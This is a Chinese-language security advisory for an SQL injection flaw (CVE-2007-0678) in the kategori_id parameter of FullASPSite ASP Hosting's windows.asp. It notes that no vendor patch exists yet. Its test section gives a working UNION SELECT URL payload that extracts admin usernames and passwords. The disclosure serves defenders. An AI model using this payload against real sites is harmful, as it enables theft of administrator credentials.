发布日期：2007-01-31
更新日期：2007-01-31

受影响系统：

aspindir FullASPSite ASP Hosting

描述：

---

BUGTRAQ  ID: 22347
CVE(CAN) ID: CVE-2007-0678

Fullaspsite Asp Hosting Sitesi在windows.asp的实现上存在SQL注入漏洞，成功利用后可使远程攻击者通过kategori_id参数，利用此漏洞执行任意SQL命令。

<*来源：cl24zy
  
  链接：http://www.exploit-db.com/exploits/3233/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/windows.asp?kategori_id=-1%20union+all+select+0,1,2,3,4,5,6,7,8,9,10,username,12,13,14,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+admin

建议：

---

厂商补丁：

aspindir
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.aspindir.com/

浏览次数：2437
严重程度：0（网友投票）